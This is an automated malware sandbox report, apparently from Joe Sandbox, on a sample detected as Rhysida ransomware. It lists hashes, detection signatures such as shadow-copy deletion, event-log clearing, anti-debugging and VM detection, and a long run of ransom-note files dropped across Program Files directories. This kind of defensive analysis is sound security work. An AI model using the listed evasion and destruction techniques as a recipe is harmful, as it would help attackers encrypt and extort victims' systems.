Edit tour

Windows Analysis Report
lMNx3XfBrF.exe

Overview

General Information

Sample name:	lMNx3XfBrF.exe renamed because original name is a hash value
Original sample name:	f06b905626d742ec5a1eab8027d9097b74fd0413a901d0599eac8555d1f89e50.exe
Analysis ID:	1524360
MD5:	ddaa09b5c3bf5aa24e300c24905469f2
SHA1:	ebedfbe0a696bd87c4e2d27e3448a61f02bab021
SHA256:	f06b905626d742ec5a1eab8027d9097b74fd0413a901d0599eac8555d1f89e50
Tags:	exeRhysidauser-JAMESWT_MHT
Infos:

Detection

Rhysida

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Rhysida Ransomware

AI detected suspicious sample

Contains functionality to clear event logs

Deletes shadow drive data (may be related to ransomware)

Found API chain indicative of debugger detection

Found Tor onion address

Machine Learning detection for sample

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Contains capabilities to detect virtual machines

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Installs a raw input device (often for capturing keystrokes)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

lMNx3XfBrF.exe (PID: 7484 cmdline: "C:\Users\user\Desktop\lMNx3XfBrF.exe" MD5: DDAA09B5C3BF5AA24E300C24905469F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Rhysida		No Attribution	https://blog.talosintelligence.com/rhysida-ransomware/ https://decoded.avast.io/threatresearch/rhysida-ransomware-technical-analysis/ https://detect.fyi/rhysida-ransomware-and-the-detection-opportunities-3599e9a02bb2 https://fourcore.io/blogs/rhysida-ransomware-history-ttp-adversary-emulation https://research.checkpoint.com/2023/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhysida

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
lMNx3XfBrF.exe	JoeSecurity_rhysida	Yara detected Rhysida Ransomware	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: lMNx3XfBrF.exe PID: 7484	JoeSecurity_rhysida	Yara detected Rhysida Ransomware	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: lMNx3XfBrF.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: lMNx3XfBrF.exe

ReversingLabs: Detection: 73%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.6% probability

Machine Learning detection for sample

Source: lMNx3XfBrF.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\lMNx3XfBrF.exe

Code function: 0_2_0043E071 CryptAcquireContextA,CryptAcquireContextA,CryptGenRandom,CryptAcquireContextA,

0_2_0043E071

Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\7-Zip\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\7-Zip\Lang\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\locales\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\swiftshader\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\locales\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\swiftshader\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Air\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Assets\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\CAN\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\DEU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\FRA\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\JPN\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\UK\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\HostedServicesTemplates\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\HostedServicesTemplates\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\IDTemplates\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\IDTemplates\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Javascripts\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ar_AE\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\cs_CZ\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\da_DK\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\de_DE\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\el_GR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_AE\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_GB\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_IL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_US\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\es_ES\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fi_FI\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_FR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_MA\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\he_IL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\hu_HU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\it_IT\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ja_JP\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ko_KR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\nb_NO\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\nl_NL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\pl_PL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\pt_BR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ru_RU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sk_SK\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sl_SI\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sv_SE\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\tr_TR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\uk_UA\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\zh_CN\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\zh_TW\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Locale\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Locale\en_US\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\ie\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\PMP\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Multimedia\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Multimedia\MPP\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\prc\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RdrApp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RdrApp\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Sequences\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Sequences\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Tracker\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\__VERSION__\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\__VERSION__\private\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\appmeasurement\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\appmeasurement\prod\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\appmeasurement\stage\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\fonts\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\fonts\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\app\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\app\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\app\dev\cef\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\app\dev\libs\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\core\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\core\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\core\dev\cef\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\core\dev\libs\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\files\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\files\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\files\dev\cef\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\files\dev\libs\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\hi_contrast\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\hi_contrast\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win-scrollbar\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win-scrollbar\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win-scrollbar\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win8-scrollbar\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win8-scrollbar\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\CriticalBreachDetected.pdf	Jump to behavior
